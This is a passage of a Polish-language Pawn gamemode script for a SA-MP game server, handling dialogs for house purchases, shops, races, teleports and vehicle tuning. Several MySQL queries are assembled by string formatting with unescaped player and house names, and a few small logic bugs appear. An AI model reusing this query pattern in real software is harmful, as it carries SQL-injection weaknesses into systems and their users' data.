  4207.                         if(!response) return Dialog(playerid, 650, DIALOG_LIST, "Stan\nWpłać\nWypłać", "OK", "Anuluj");
  4208.  
  4209.                         if(strval(inputtext) == 0 || strval(inputtext) < 0 || strval(inputtext) > GetPlayerMoney(playerid))
  4210.                                 return Dialog(playerid, 640, DIALOG_BOX, "Podano niepoprawną liczbę lub nie masz przy sobie tyle gotówki.", "Wróć", "Zamknij");
  4211.  
  4212.                         new i = pHouse[playerid];
  4213.  
  4214.                         GivePlayerMoney(playerid, strval(inputtext) * -1);
  4215.                         format(strx, sizeof strx, "UPDATE `house` SET `money` = `money` + '%d' WHERE `id` = '%d'", strval(inputtext), HouseInfo[i][hID]);
  4216.                         mysql_query(strx);
  4217.                         InfoBox(playerid, ""C_O"Dokonano zmian w sejfie.");
  4218.                         return 1;
  4219.                 }
  4220.                 case 640:
  4221.                 {
  4222.                         if(!response)return 1;
  4223.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4224.                         Dialog(playerid, 650, DIALOG_LIST, "Stan\nWpłać\nWypłać", "OK", "Anuluj");
  4225.                         return 1;
  4226.                 }
  4227.                 case 649:
  4228.                 {
  4229.                         if(!response) return 1;
  4230.  
  4231.                         new i = pHouse[playerid];
  4232.                         new cena = ((listitem + 1)* 100000);
  4233.  
  4234.                         if(HouseInfo[i][hInt] == listitem)
  4235.                                 return InfoBox(playerid, ""C_O"Masz już takie wnętrze!");
  4236.  
  4237.                         if(GetPlayerMoney(playerid) < cena)
  4238.                                 return InfoBox(playerid, ""C_O"Nie masz tyle pieniędzy!");
  4239.  
  4240.                         GivePlayerMoney(playerid, cena * -1);
  4241.  
  4242.                         HouseInfo[i][hInt] = listitem;
  4243.                         format(strx, sizeof strx, "UPDATE `house` SET `interior` = '%d' WHERE `id` = '%d'", listitem, HouseInfo[i][hID]);
  4244.                         mysql_query(strx);
  4245.  
  4246.                         InfoBox(playerid, "\n"C_O"Wnętrze zostało zmienione!\n");
  4247.                         TeleportToHouse(playerid, i, 0);
  4248.                         return 1;
  4249.                 }
  4250.                 case 800:
  4251.                 {
  4252.                         if(!response) return 1;
  4253.  
  4254.                         if(pHouse[playerid] != -1)
  4255.                                 return InfoBox(playerid, "\n"C_O"Jesteś już właścicielem innego "C_B"domku!\n");
  4256.  
  4257.                         new i = GetPVarInt(playerid, "eHouseID"), mstr[250];
  4258.                         if(GetPlayerMoney(playerid) < HouseInfo[i][hCost])
  4259.                                 return InfoBox(playerid, "\n"C_O"Nie posiadasz przy sobie tyle "C_B"gotówki!\n");
  4260.  
  4261.                         GivePlayerMoney(playerid, (HouseInfo[i][hCost] * -1));
  4262.                         format(HouseInfo[i][hName], 40, "Mój domek - %s", pName[playerid]);
  4263.                         format(HouseInfo[i][hOwner], 40, "%s", pName[playerid]);
  4264.                         new time = gettime() + (14 * 24 * 60 * 60);
  4265.                         format(mstr, 250, "UPDATE `house` SET `owner` = '%s', `name` = '%s', `time` = '%d', `password` = '' WHERE `id` = '%d'", pName[playerid], HouseInfo[i][hName], time, HouseInfo[i][hID]);
  4266.                         mysql_query(mstr);
  4267.  
  4268.                         pHouse[playerid] = i;
  4269.  
  4270.                         format(mstr, 250, ""C_B"%s\n\n"C_O"Właściciel: "C_B"%s\n"C_O"Cena: "C_B"%d", HouseInfo[i][hName], HouseInfo[i][hOwner], HouseInfo[i][hCost]);
  4271.                         Update3DTextLabelText(HouseInfo[i][hLabel], -1, mstr);
  4272.  
  4273.                         InfoBox(playerid, "\n"C_O"Kupiłeś domek!\n");
  4274.                 }
  4275.                 case 41:
  4276.                 {
  4277.                         if(!response || !Vip[playerid]) return 1;
  4278.  
  4279.                         SetPlayerColor(playerid, playerColors[listitem]);
  4280.                         SendPlayerMessageToPlayer(playerid, playerid, ""C_B"< - Tak teraz wygląda twój nick!");
  4281.                 }
  4282.                 case 311:
  4283.                 {
  4284.                         if(!response) return 1;
  4285.  
  4286.                         for(new i; i < RacesCount; i++)
  4287.                         {
  4288.                                 if(!strcmp(RaceInfo[i][Rname], inputtext))
  4289.                                 {
  4290.                                         SetPVarInt(playerid, "guiRaceID", i);
  4291.                                         break;
  4292.                                 }
  4293.                         }
  4294.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4295.                         Dialog(playerid, 312, DIALOG_LIST, "Najlepsze czasy\nTwój rekord\nWeź udział", "Wybierz", "Powrót");
  4296.                 }
  4297.                 case 313:
  4298.                 {
  4299.                         if(!response) return cmd_wyscigi(playerid, " ");
  4300.                 }
  4301.                 case 312:
  4302.                 {
  4303.                         if(!response) return cmd_wyscigi(playerid, " ");
  4304.  
  4305.                         new i = GetPVarInt(playerid, "guiRaceID");
  4306.  
  4307.                         switch(listitem)
  4308.                         {
  4309.                                 case 0:
  4310.                                 {
  4311.                                         new mstr[160];
  4312.                                         format(mstr, 160, "SELECT `nick`,`time` FROM `race_record` WHERE `race_id` = '%d' ORDER BY `time` ASC LIMIT 10", RaceInfo[i][Rid]);
  4313.                                         mysql_query(mstr);
  4314.                                         mysql_store_result();
  4315.                                         format(bstrx, sizeof bstrx, ""C_B"%s\n\n"C_O"", RaceInfo[i][Rname]);
  4316.  
  4317.                                         new nick[30], value, pos = 1;
  4318.                                         while(mysql_fetch_row(mstr, "|"))
  4319.                                         {
  4320.                                                 sscanf(mstr, "p<|>s[30]d", nick, value);
  4321.                                                 format(bstrx, sizeof bstrx, "%s%d - %s - %s\n", bstrx, pos, nick, ToTime(value));
  4322.                                                 pos++;
  4323.                                         }
  4324.                                         mysql_free_result();
  4325.                                         Dialog(playerid, 313, DIALOG_BOX, bstrx, "Zamknij", "Powrót");
  4326.                                 }
  4327.                                 case 1:
  4328.                                 {
  4329.                                         new mstr[160];
  4330.                                         format(mstr, 160, "SELECT `time` FROM `race_record` WHERE `race_id` = '%d' AND `nick` = '%s' LIMIT 1", RaceInfo[i][Rid], pName[playerid]);
  4331.                                         mysql_query(mstr);
  4332.                                         mysql_store_result();
  4333.                                         new param[32];
  4334.                                         mysql_fetch_row(param);
  4335.  
  4336.                                         if(strval(param) == 0)
  4337.                                         {
  4338.                                                 PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4339.                                                 Dialog(playerid, 313, DIALOG_BOX, "\n"C_O"Nie przejechałeś tej trasy!\nAby sprawdzić rekord musisz przejechać tę trasę przynajmniej raz.\n", "Zamknij", "Wróć");
  4340.                                                 }else{
  4341.                                                 new time = strval(param);
  4342.                                                 format(mstr, 160, ""C_O"Twój rekord: "C_B"%s\n"C_O"Trasa: "C_B"%s", ToTime(time), RaceInfo[i][Rname]);
  4343.                                                 Dialog(playerid, 313, DIALOG_BOX, mstr, "Zamknij", "Wróć");
  4344.                                         }
  4345.                                         mysql_free_result();
  4346.                                 }
  4347.                                 case 2:
  4348.                                 {
  4349.                                         SetPlayerVirtualWorld(playerid, 0);
  4350.                                         SetPlayerInterior(playerid, 0);
  4351.                                         SetPlayerPos(playerid, RaceInfo[i][Rx],RaceInfo[i][Ry],RaceInfo[i][Rz]);
  4352.                                         SCM(playerid, 0xFFFFFFFF, "Wpisz "C_B"/race "C_O"aby wziąć udział w wyścigu!");
  4353.                                 }
  4354.                         }
  4355.                 }
  4356.                 case 43:
  4357.                 {
  4358.                         if(response || Administrator[playerid] < 1) return 1;
  4359.  
  4360.                         DestroyPickup(walizka[1]);
  4361.                         walizka[0] = -1;
  4362.                         walizka[2] = 0;
  4363.                         walizka[1] = -1;
  4364.                         TextDrawHideForAll(WalizkaDraw[0]);
  4365.                         TextDrawHideForAll(WalizkaDraw[1]);
  4366.                         SCM(playerid, -1, "Usunięto!");
  4367.                         return 1;
  4368.                 }
  4369.                 case 21:
  4370.                 {
  4371.                         SetPVarInt(playerid, "pEnterPick", 0);
  4372.  
  4373.                         if(!response) return 1;
  4374.  
  4375.                         new Float:hp;
  4376.                         GetPlayerHealth(playerid, hp);
  4377.  
  4378.                         if(hp >= 100)
  4379.                                 return SCM(playerid, -1, "Nie możesz kupić jedzenia, ponieważ masz już pełne życie!");
  4380.  
  4381.                         switch(listitem)
  4382.                         {
  4383.                                 case 0:
  4384.                                 {
  4385.                                         if(GetPlayerMoney(playerid) < 100)
  4386.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4387.  
  4388.                                         if(hp <= 90)
  4389.                                         {
  4390.                                                 SetPlayerHealth(playerid, hp + 10);
  4391.                                         }else SetPlayerHealth(playerid, 100.0);
  4392.  
  4393.                                         GivePlayerMoney(playerid, -100);
  4394.                                 }case 1:
  4395.                                 {
  4396.                                         if(GetPlayerMoney(playerid) < 250)
  4397.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4398.  
  4399.                                         if(hp <= 75)
  4400.                                         {
  4401.                                                 SetPlayerHealth(playerid, hp + 25);
  4402.                                         }else SetPlayerHealth(playerid, 100.0);
  4403.  
  4404.                                         GivePlayerMoney(playerid, -250);
  4405.                                 }case 2:
  4406.                                 {
  4407.                                         if(GetPlayerMoney(playerid) < 500)
  4408.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4409.  
  4410.                                         if(hp <= 50)
  4411.                                         {
  4412.                                                 SetPlayerHealth(playerid, hp + 50);
  4413.                                         }else SetPlayerHealth(playerid, 100.0);
  4414.  
  4415.                                         GivePlayerMoney(playerid, -500);
  4416.                                 }case 3:
  4417.                                 {
  4418.                                         if(GetPlayerMoney(playerid) < 1000)
  4419.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4420.  
  4421.                                         SetPlayerHealth(playerid, 100.0);
  4422.                                         GivePlayerMoney(playerid, -1000);
  4423.                                 }
  4424.                         }
  4425.                         SCM(playerid, -1, ""C_B"Kupiłeś/aś posiłek");
  4426.                         return 1;
  4427.                 }
  4428.                 case 20:
  4429.                 {
  4430.                         SetPVarInt(playerid, "pEnterPick", 0);
  4431.                         if(!response) return 1;
  4432.  
  4433.                         switch(listitem)
  4434.                         {
  4435.                                 case 0:
  4436.                                 {
  4437.                                         if(GetPlayerMoney(playerid) < 2000)
  4438.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4439.  
  4440.                                         cmd_pancerz(playerid, " ");
  4441.                                 }case 1:
  4442.                                 {
  4443.                                         if(GetPlayerMoney(playerid) < 500)
  4444.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4445.  
  4446.                                         GivePlayerMoney(playerid, -500);
  4447.                                         GivePlayerWeapon(playerid, 22, 2000);
  4448.                                 }case 2:
  4449.                                 {
  4450.                                         if(GetPlayerMoney(playerid) < 1000)
  4451.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4452.  
  4453.                                         GivePlayerMoney(playerid, -1000);
  4454.                                         GivePlayerWeapon(playerid, 24, 2000);
  4455.                                 }case 3:
  4456.                                 {
  4457.                                         if(GetPlayerMoney(playerid) < 500)
  4458.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4459.  
  4460.                                         GivePlayerMoney(playerid, -500);
  4461.                                         GivePlayerWeapon(playerid, 4, 1);
  4462.                                 }case 4:
  4463.                                 {
  4464.                                         if(GetPlayerMoney(playerid) < 1000)
  4465.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4466.  
  4467.                                         GivePlayerMoney(playerid, -1000);
  4468.                                         GivePlayerWeapon(playerid, 17, 5);
  4469.                                 }case 5:
  4470.                                 {
  4471.                                         if(GetPlayerMoney(playerid) < 4000)
  4472.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4473.  
  4474.                                         GivePlayerMoney(playerid, -4000);
  4475.                                         GivePlayerWeapon(playerid, 26, 2000);
  4476.                                 }case 6:
  4477.                                 {
  4478.                                         if(GetPlayerMoney(playerid) < 2000)
  4479.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4480.  
  4481.                                         GivePlayerMoney(playerid, -2000);
  4482.                                         GivePlayerWeapon(playerid, 25, 2000);
  4483.                                 }case 7:
  4484.                                 {
  4485.                                         if(GetPlayerMoney(playerid) < 6000)
  4486.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4487.  
  4488.                                         GivePlayerMoney(playerid, -6000);
  4489.                                         GivePlayerWeapon(playerid, 27, 2000);
  4490.  
  4491.                                 }case 8:
  4492.                                 {
  4493.                                         if(GetPlayerMoney(playerid) < 4000)
  4494.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4495.  
  4496.                                         GivePlayerMoney(playerid, -4000);
  4497.                                         GivePlayerWeapon(playerid, 31, 2000);
  4498.                                 }case 9:
  4499.                                 {
  4500.                                         if(GetPlayerMoney(playerid) < 3000)
  4501.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4502.  
  4503.                                         GivePlayerMoney(playerid, -3000);
  4504.                                         GivePlayerWeapon(playerid, 30, 2000);
  4505.  
  4506.                                 }case 10:
  4507.                                 {
  4508.                                         if(GetPlayerMoney(playerid) < 6000)
  4509.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał {00AAFF}pieniądze!!!");
  4510.  
  4511.                                         GivePlayerMoney(playerid, -6000);
  4512.                                         GivePlayerWeapon(playerid, 28, 2000);
  4513.  
  4514.                                 }case 11:
  4515.                                 {
  4516.                                         if(GetPlayerMoney(playerid) < 6000)
  4517.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4518.  
  4519.                                         GivePlayerMoney(playerid, -6000);
  4520.                                         GivePlayerWeapon(playerid, 32, 2000);
  4521.                                 }case 12:
  4522.                                 {
  4523.                                         if(GetPlayerMoney(playerid) < 3000)
  4524.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4525.  
  4526.                                         GivePlayerMoney(playerid, -3000);
  4527.                                         GivePlayerWeapon(playerid, 29, 2000);
  4528.                                 }case 13:
  4529.                                 {
  4530.                                         if(GetPlayerMoney(playerid) < 6000)
  4531.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4532.  
  4533.                                         GivePlayerMoney(playerid, -6000);
  4534.                                         GivePlayerWeapon(playerid, 34, 2000);
  4535.                                 }case 14:
  4536.                                 {
  4537.                                         if(GetPlayerMoney(playerid) < 1000)
  4538.                                                 return InfoBox(playerid, ""C_O"Wróć jak będziesz miał "C_B"pieniądze!!!");
  4539.  
  4540.                                         GivePlayerMoney(playerid, -1000);
  4541.                                         GivePlayerWeapon(playerid, 46, 1);
  4542.                                 }
  4543.                         }
  4544.                         if(listitem != 0)
  4545.                         {
  4546.                                 format(strx, sizeof strx, "* Kupiłeś/aś: "C_B"%s", inputtext);
  4547.                                 SCM(playerid, 0xFFFFFFFF, strx);
  4548.                         }
  4549.                 }
  4550.                 case 1212:
  4551.                 {
  4552.                         if(!response) return 1;
  4553.  
  4554.                         switch(listitem)
  4555.                         {
  4556.                                 case 0: SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
  4557.                                 case 1: SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
  4558.                                 case 2: SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
  4559.                                 case 3: SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
  4560.                                 case 4: SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
  4561.                                 case 5: SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
  4562.                         }
  4563.                 }
  4564.                 case 101:
  4565.                 {
  4566.                         if(response)
  4567.                         {
  4568.                                 CallRemoteFunction("OnPlayerCommandText", "ds", playerid, inputtext);
  4569.                         }
  4570.                         return 1;
  4571.                 }
  4572.                 case 1655:
  4573.                 {
  4574.                         if(!response) return 1;
  4575.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4576.                         if(listitem == 1) return Dialog(playerid, 1653, DIALOG_LIST, "Slot 1\nSlot 2\nSlot 3", "Zapisz", "Anuluj");
  4577.                         else if(listitem == 0) return Dialog(playerid, 1654, DIALOG_LIST, "Slot 1\nSlot 2\nSlot 3", "Wczytaj", "Anuluj");
  4578.                 }
  4579.                 case 1653:
  4580.                 {
  4581.                         if(!response) return 1;
  4582.  
  4583.                         if(GetPlayerInterior(playerid) != 0 || GetPlayerVirtualWorld(playerid) != 0)
  4584.                                 return InfoBox(playerid, ""C_O"Nie możesz tutaj zapisać teleportu!");
  4585.  
  4586.                         GetPlayerPos(playerid,pPrivTele[playerid][listitem][0],pPrivTele[playerid][listitem][1],pPrivTele[playerid][listitem][2]);
  4587.                         if(!IsPlayerInAnyVehicle(playerid))
  4588.                         {
  4589.                                 GetPlayerFacingAngle(playerid, pPrivTele[playerid][listitem][3]);
  4590.                         }else GetVehicleZAngle(GetPlayerVehicleID(playerid), pPrivTele[playerid][listitem][3]);
  4591.                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4592.                         InfoBox(playerid, "Zapisano lokalizacje.");
  4593.                 }
  4594.                 case 1654:
  4595.                 {
  4596.                         if(!response) return 1;
  4597.  
  4598.                         if(pPrivTele[playerid][listitem][0] == 0.0 && pPrivTele[playerid][listitem][1] == 0.0)
  4599.                                 return InfoBox(playerid, ""C_O"Ten Slot nie został jeszcze zapisany!");
  4600.  
  4601.                         if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER)
  4602.                         {
  4603.                                 SetPlayerPos(playerid, pPrivTele[playerid][listitem][0],pPrivTele[playerid][listitem][1],pPrivTele[playerid][listitem][2]);
  4604.                                 SetPlayerFacingAngle(playerid,  pPrivTele[playerid][listitem][3]);
  4605.                                 }else{
  4606.                                 SetVehiclePos(GetPlayerVehicleID(playerid), pPrivTele[playerid][listitem][0], pPrivTele[playerid][listitem][1],pPrivTele[playerid][listitem][2] + 0.5);
  4607.                                 SetVehicleZAngle(GetPlayerVehicleID(playerid),  pPrivTele[playerid][listitem][3]);
  4608.                         }
  4609.                         SetPlayerInterior(playerid, 0);
  4610.                         SetPlayerVirtualWorld(playerid, 0);
  4611.                         InfoBox(playerid, ""C_O"Zostałeś teleportowany do "C_B"Zapisanej lokalizacji");
  4612.                         return 1;
  4613.                 }
  4614.                 case 3309:
  4615.                 {
  4616.                         if(!response)
  4617.                                 return DeletePVar(playerid, "vTune");
  4618.  
  4619.                         switch(GetPVarInt(playerid, "vTune"))
  4620.                         {
  4621.                                 case 11:
  4622.                                 {
  4623.                                         if(GetPlayerMoney(playerid) < 800)
  4624.                                         {
  4625.                                                 SCM(playerid, -1,  "* {00AAFF}Potrzebujesz "C_B"600$"C_O", żeby to kupić!");
  4626.                                                 DeletePVar(playerid, "vTune");
  4627.                                                 return 1;
  4628.  
  4629.                                         }else GivePlayerMoney(playerid, -800);
  4630.  
  4631.  
  4632.                                         ChangeVehiclePaintjob(GetPlayerVehicleID(playerid), listitem);
  4633.                                         format(strx, sizeof strx, "* "C_O"Kupiłeś PaintJob o ID: "C_B"%d", ++listitem);
  4634.                                         SCM(playerid, -1, strx);
  4635.                                         return DeletePVar(playerid, "vTune");
  4636.                                 }
  4637.                                 case 12:
  4638.                                 {
  4639.                                         new color;
  4640.                                         if(sscanf(inputtext, "i", color))
  4641.                                                 return Dialog(playerid, 3309, DIALOG_INPUT, "Podaj numer koloru (0 - 126), -1 da ci losowy kolor pojazdu.\nWpisałeś nieprawidłowe ID koloru!", "Wybierz", "Anuluj");
  4642.  
  4643.                                         switch(color)
  4644.                                         {
  4645.                                                 case -1:
  4646.                                                         ChangeVehicleColor(GetPlayerVehicleID(playerid), random(cellmax), random(cellmax));
  4647.  
  4648.                                                 case 0 .. 126:
  4649.                                                         ChangeVehicleColor(GetPlayerVehicleID(playerid), color, color);
  4650.  
  4651.                                                 default:
  4652.                                                         return Dialog(playerid, 3309, DIALOG_INPUT, "Podaj numer koloru (0 - 126), -1 da ci losowy kolor pojazdu.\nWpisałeś nieprawidłowe ID koloru!", "Wybierz", "Anuluj");
  4653.                                         }
  4654.  
  4655.                                         format(strx, sizeof strx, ""C_O"Zmieniłeś kolor pojazdu na nr. "C_B"%d", color);
  4656.                                         SCM(playerid, -1, strx);
  4657.                                         return DeletePVar(playerid, "vTune");
  4658.                                 }
  4659.                                 case 13:
  4660.                                 {
  4661.                                         AddVehicleComponent(GetPlayerVehicleID(playerid), wheels_info[listitem][wID]);
  4662.                                         format(strx, sizeof strx, ""C_O"Zmieniłeś felgi w pojedźie na "C_B"%s", wheels_info[listitem][wName]);
  4663.                                         SCM(playerid, -1, strx);
  4664.                                         return DeletePVar(playerid, "vTune");
  4665.                                 }
  4666.                                 case 14:
  4667.                                 {
  4668.                                         if(response)
  4669.                                         {
  4670.                                                 AddVehicleComponent(GetPlayerVehicleID(playerid), 1087);
  4671.                                                 }else{
  4672.                                                 RemoveVehicleComponent(GetPlayerVehicleID(playerid), 1087);
  4673.                                         }
  4674.                                         return DeletePVar(playerid, "vTune");
  4675.                                 }
  4676.                         }
  4677.  
  4678.                         switch(listitem)
  4679.                         {
  4680.                                 case 0:
  4681.                                 {
  4682.                                         if(GetPlayerMoney(playerid) < 5000)
  4683.                                                 return SCM(playerid, -1, "* "C_O"Potrzebujesz "C_B"5000$"C_O", żeby to kupić!"), DeletePVar(playerid, "vTune");
  4684.  
  4685.                                         //
  4686.  
  4687.                                         new vid = GetPlayerVehicleID(playerid);
  4688.                                         ChangeVehiclePaintjob(vid, random(3));
  4689.                                         AddVehicleComponent(vid, 1087);
  4690.                                         AddVehicleComponent(vid, wheels_info[random(sizeof wheels_info)][wID]);
  4691.                                         TuneVehicle(vid);
  4692.                                         TuneObjectVehicle(vid);
  4693.                                         DestroyNeon(vid);
  4694.                                         switch(random(11))
  4695.                                         {
  4696.                                                 case 0:
  4697.                                                 {
  4698.                                                         vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4699.                                                         vNeon[vid][1] = -1;
  4700.                                                 }
  4701.                                                 case 1:
  4702.                                                 {
  4703.                                                         vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  4704.                                                         vNeon[vid][1] = -1;
  4705.                                                 }
  4706.                                                 case 2:
  4707.                                                 {
  4708.                                                         vNeon[vid][0] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  4709.                                                         vNeon[vid][1] = -1;
  4710.                                                 }
  4711.                                                 case 3:
  4712.                                                 {
  4713.                                                         vNeon[vid][0] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4714.                                                         vNeon[vid][1] = -1;
  4715.                                                 }
  4716.                                                 case 4:
  4717.                                                 {
  4718.                                                         vNeon[vid][0] = CreateObject(18651,0,0,0,0,0,0, 100.0);
  4719.                                                         vNeon[vid][1] = -1;
  4720.                                                 }
  4721.                                                 case 5:
  4722.                                                 {
  4723.                                                         vNeon[vid][0] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  4724.                                                         vNeon[vid][1] = -1;
  4725.                                                 }
  4726.                                                 case 6:
  4727.                                                 {
  4728.                                                         vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4729.                                                         vNeon[vid][1] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  4730.                                                 }
  4731.                                                 case 7:
  4732.                                                 {
  4733.                                                         vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4734.                                                         vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4735.                                                 }
  4736.                                                 case 8:
  4737.                                                 {
  4738.                                                         vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  4739.                                                         vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4740.                                                 }
  4741.                                                 case 9:
  4742.                                                 {
  4743.                                                         vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  4744.                                                         vNeon[vid][1] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  4745.  
  4746.                                                 }
  4747.                                                 case 10:
  4748.                                                 {
  4749.                                                         vNeon[vid][0] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  4750.                                                         vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4751.  
  4752.                                                 }
  4753.                                                 case 11:
  4754.                                                 {
  4755.                                                         vNeon[vid][0] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4756.                                                         vNeon[vid][1] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  4757.                                                 }
  4758.                                         }
  4759.                                         if(vNeon[vid][1] != -1)
  4760.                                                 AttachObjectToVehicle(vNeon[vid][1], vid, 0.0, 0.0, -0.70, 0.0, 0.0, 0.0);
  4761.  
  4762.                                         AttachObjectToVehicle(vNeon[vid][0], vid, 0.0, 0.0, -0.70, 0.0, 0.0, 0.0);
  4763.  
  4764.                                         //
  4765.                                         PlayerPlaySound(playerid, 1085, 0.0, 0.0, 0.0);
  4766.                                         InfoBox(playerid, ""C_O"Pełny tuning został zainstalowany!");
  4767.                                 }
  4768.                                 case 1:
  4769.                                 {
  4770.                                         if(GetPlayerMoney(playerid) < 5000)
  4771.                                                 return SCM(playerid, -1, ""C_O"Potrzebujesz "C_B"5000$"C_O", żeby to kupić!"), DeletePVar(playerid, "vTune");
  4772.  
  4773.  
  4774.                                         new vid = GetPlayerVehicleID(playerid);
  4775.  
  4776.                                         if(random(2) == 1)
  4777.                                         {
  4778.                                                 ChangeVehiclePaintjob(vid, random(3));
  4779.                                         }
  4780.                                         if(random(2) == 1)
  4781.                                         {
  4782.                                                 AddVehicleComponent(vid, 1087);
  4783.                                         }
  4784.                                         if(random(2) == 1)
  4785.                                         {
  4786.                                                 AddVehicleComponent(vid, wheels_info[random(sizeof wheels_info)][wID]);
  4787.                                         }
  4788.                                         if(random(2) == 1)
  4789.                                         {
  4790.                                                 TuneVehicle(vid);
  4791.                                         }
  4792.                                         if(random(2) == 1)
  4793.                                         {
  4794.                                                 TuneObjectVehicle(vid);
  4795.                                         }
  4796.                                         if(random(2) == 1)
  4797.                                         {
  4798.                                                 DestroyNeon(vid);
  4799.                                                 switch(random(11))
  4800.                                                 {
  4801.                                                         case 0:
  4802.                                                         {
  4803.                                                                 vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4804.                                                                 vNeon[vid][1] = -1;
  4805.                                                         }
  4806.                                                         case 1:
  4807.                                                         {
  4808.                                                                 vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  4809.                                                                 vNeon[vid][1] = -1;
  4810.                                                         }
  4811.                                                         case 2:
  4812.                                                         {
  4813.                                                                 vNeon[vid][0] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  4814.                                                                 vNeon[vid][1] = -1;
  4815.                                                         }
  4816.                                                         case 3:
  4817.                                                         {
  4818.                                                                 vNeon[vid][0] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4819.                                                                 vNeon[vid][1] = -1;
  4820.                                                         }
  4821.                                                         case 4:
  4822.                                                         {
  4823.                                                                 vNeon[vid][0] = CreateObject(18651,0,0,0,0,0,0, 100.0);
  4824.                                                                 vNeon[vid][1] = -1;
  4825.                                                         }
  4826.                                                         case 5:
  4827.                                                         {
  4828.                                                                 vNeon[vid][0] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  4829.                                                                 vNeon[vid][1] = -1;
  4830.                                                         }
  4831.                                                         case 6:
  4832.                                                         {
  4833.                                                                 vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4834.                                                                 vNeon[vid][1] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  4835.                                                         }
  4836.                                                         case 7:
  4837.                                                         {
  4838.                                                                 vNeon[vid][0] = CreateObject(18648,0,0,0,0,0,0, 100.0);
  4839.                                                                 vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4840.                                                         }
  4841.                                                         case 8:
  4842.                                                         {
  4843.                                                                 vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  4844.                                                                 vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4845.                                                         }
  4846.                                                         case 9:
  4847.                                                         {
  4848.                                                                 vNeon[vid][0] = CreateObject(18647,0,0,0,0,0,0, 100.0);
  4849.                                                                 vNeon[vid][1] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  4850.  
  4851.                                                         }
  4852.                                                         case 10:
  4853.                                                         {
  4854.                                                                 vNeon[vid][0] = CreateObject(18649,0,0,0,0,0,0, 100.0);
  4855.                                                                 vNeon[vid][1] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4856.  
  4857.                                                         }
  4858.                                                         case 11:
  4859.                                                         {
  4860.                                                                 vNeon[vid][0] = CreateObject(18652,0,0,0,0,0,0, 100.0);
  4861.                                                                 vNeon[vid][1] = CreateObject(18650,0,0,0,0,0,0, 100.0);
  4862.                                                         }
  4863.                                                 }
  4864.                                                 if(vNeon[vid][1] != -1)
  4865.                                                         AttachObjectToVehicle(vNeon[vid][1], vid, 0.0, 0.0, -0.70, 0.0, 0.0, 0.0);
  4866.  
  4867.                                                 AttachObjectToVehicle(vNeon[vid][0], vid, 0.0, 0.0, -0.70, 0.0, 0.0, 0.0);
  4868.                                         }
  4869.  
